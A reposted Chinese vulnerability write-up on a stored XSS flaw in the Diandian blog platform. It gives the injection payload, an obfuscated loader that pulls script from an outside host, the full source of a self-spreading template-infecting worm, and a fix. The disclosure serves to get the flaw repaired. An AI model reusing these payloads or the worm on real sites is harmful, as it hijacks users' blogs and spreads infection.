网站地图    收藏   

主页 > 后端 > 网站安全 >

点点网存储型Xss详细分析及解决 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 点点网某处编程缺陷导致存储型Xss。响应xsser的精神,分享就要写过程。--------------------------------1. 点点网,在xxx.diandian.com域下是允许自定义JS内容的,但是没有formkey的话,无非进行写操...

点点网某处编程缺陷导致存储型Xss。
响应xsser的精神,分享就要写过程。
 
--------------------------------
 
1. 点点网,在xxx.diandian.com域下是允许自定义JS内容的,但是没有formkey的话,无非进行写操作,从而无法进行传播。分析了下,目测,点点应该是只把formkey暴露到了www.diandian.com这个域下。 因而,我们需要寻找www.diandian.com域下的xss或者其它方式来获取formkey才能进行后续的传播操作。
 
2. 带着这个目的,得去找www.diandian.com域下的xss。 首先我还是想到的FLASH,不过google了下,www.diandian.com域下搜索不到flash文件。 只能自己找,但是我才刚用点点,对点点的功能都不熟悉,有点无从下手的感觉。
 
3. 还是打开google, 搜索site:www.diandian.com -"tag" -"content" -"category" ... (屏蔽一些不可能存在XSS的关键词页面)。 看到一个页面
 
http://www.diandian.com/blog/fm/iframe/reggaesky
 
 
 
 
 
看了下页面源代码,可以看到左侧的tags是直接输出,而右侧的音乐专辑不在源码中,应该是.innerHTML方式输出。
 
4. 直觉告诉俺,这个页面可能会有问题。于是回到自己博客发了一篇音乐,然后单独对
 
http://www.diandian.com/blog/fm/iframe/wooyuntest (wooyuntest是俺测试帐号)这个页面进行分析。
 
5. 首先测试了标签位置,<, > 被过滤,没戏
 
 
 
 
 
6. 接着为了查看右侧是如何输出的,打开chrome的调试工具,搜索,cover-image,可以定位音乐专辑封面输出的相关JS文件,http://s.libdd.com/js/app/fm.$6765.js
 
 
 
 
 
7. 将这个JS的代码,复制到编辑器中。。显眼的语法高亮,让我眼前一亮。
 
 
 
 
 
8. 缺陷代码如下:
 
 
var b=a.data,c=b.albumCover||"";p=a.data,g(".music-info").fadeOut("100",function(){g(".cover-image").html("<img src='"+c+"'>")
 
这里src属性是用' 闭合的,如果src属性里允许输入',那么就将造成Xss。
 
9. 基于此,我们编辑之前发送的那篇音乐帖子。
 
POST http://www.diandian.com/edit/02c85840-c297-11e1-9a22-782bcb38253b
 
其它参数在此不表。将album_logo 参数修改为:
 
http://img.xiami.com/./images/album/img60/1260/66481314675280_1.jpg' onload='alert(document.domain)//
 
保存后,再打开http://www.diandian.com/blog/fm/iframe/wooyuntest
 
看来这里没有过滤' ,如我们所愿的弹出了www.diandian.com
 
 
 www.2cto.com
 
 
10. 接下来就是漏洞的利用。 调用外部JS, http://xsst.sinaapp.com/diandian.js
 
http://img.xiami.com/./images/album/img60/1260/66481314675280_1.jpg' onload='window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,100,105,97,110,100,105,97,110,46,106,115);document.body.appendChild(window.s)//
 
11. http://xsst.sinaapp.com/diandian.js 源码如下:
 
 
if(!window.__wooyun){
       //load jq
       var _s=document.createElement("script");
       _s.onload=function(){
              getBlogInfo();
       }
       _s.src="http://xsst.sinaapp.com/jq.js";
       document.body.appendChild(_s);
       window.__wooyun=2;
}
String.prototype.getMatch=function(reg){
       return (this.match(reg)||["",""])[1];
};
function getBlogInfo(){
       $.get("http://www.diandian.com/wall",function(rs){
              var bid=rs.getMatch(/id="nav-blog-(\d+)"/);
              var bname=rs.getMatch(/http:\/\/www\.diandian\.com\/dianlog\/([^"]+)"/);
              //get theme , check if the worm code exists.
              getTheme(bid,bname);
       });
}
function getTheme(id,name){
       //check if the user use theme
       $.get("http://www.diandian.com/customize/"+name,function(info){
              var tid=info.getMatch(/usedThemeInfoId\s+=\s+(\d+)/);
              var callback=function(rs){
                     if(rs.indexOf("__wooyun_worm")==-1){
                            //if no worm then ..
                            rs=rs.replace(/^\s+|\s+$/g,"");
                            rs=rs||decodeURIComponent("");
                            rs=rs.replace(/^\d+\|+/,"");
                            rs=rs.replace(/<body([^>]*)>/,"<body$1><iframe src=\"http://www.diandian.com/blog/fm/iframe/wooyuntest\" style=\"display:none\" name=\"__wooyun_worm\"></iframe>");
                            saveTheme(id,name,rs,tid);
                     }
              };
              //default - use blogId
              var data={
                     "formKey":DDformKey,
                     "blogId":id
              };
              if(tid){
                     //use theme id
                     data={
                            "formKey":DDformKey,
                            "themeId":id
                     };
              }
              $.post("http://www.diandian.com/n/customize/source",data,callback);
       });
}
function saveTheme(id,name,rs,tid){
       $.post("http://www.diandian.com/n/customize",{
              "formKey":DDformKey,
              "themeInfoId":tid||"0",
              "userParams":"{\"模板色系\":{\"paramType\":\"Color\",\"value\":\"#0F3D5E\",\"desc\":null},\"背景颜色\":{\"paramType\":\"Color\",\"value\":\"#ECEEF0\",\"desc\":null},\"显示标签云\":{\"paramType\":\"Boolean\",\"value\":false,\"desc\":null},\"每页文章数目\":{\"paramType\":\"Number\",\"value\":\"10\",\"desc\":null}}",
              "customCss":"",
              "blogName":name,
              "blogDesc":"",
              "html":rs||"<html><body><iframe src=\"http://www.diandian.com/blog/fm/iframe/wooyuntest\" style=\"display:none\" name=\"__wooyun_worm\"></iframe></body></iframe>",
              "blogId":id,
              "blogUrl":name
       },function(){
              try{
                     console.log("worm ok...");
              }catch(e){
 
              }
       });
}
 
12. 源码说明:
 
A. 首先获取当前博客的个人信息,包括blogId, blogName等
B. 然后用此ID获取当前用户的模版代码,进行判断,如果不包含__wooyun_worm字样,则进行感染操作。
C. 将用户原有的模版代码,插入<iframe src="http://www.diandian.com/blog/fm/iframe/wooyuntest" style="display:none" name="__wooyun_worm"></iframe>
 
13. 在wooyuntest的模版代码中,插入<iframe src="http://www.diandian.com/blog/fm/iframe/wooyuntest" style="display:none" name="__wooyun_worm"></iframe>
 
14. 当受害者访问wooyuntest.diandian.com 时,其自己博客将会被感染。
 
漏洞证明:测试环境:Win7, IE9, Chrome
 
漏洞测试效果:
 
使用另外一个用户gainover,访问wooyuntest.diandian.com后,博客模版被感染,使得gainover.diandian.com同样带有攻击性。
 
被感染的受害者
 

 
 
修复方案:
 
因为你们对c里的双引号等都进行了转义,故
 
将http://s.libdd.com/js/app/fm.$6765.js中的
 
g(".cover-image").html("<img src='"+c+"'>")
 
修改为
 
g(".cover-image").html("<img src=\""+c+"\">")
 
即可。
作者  gainover

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论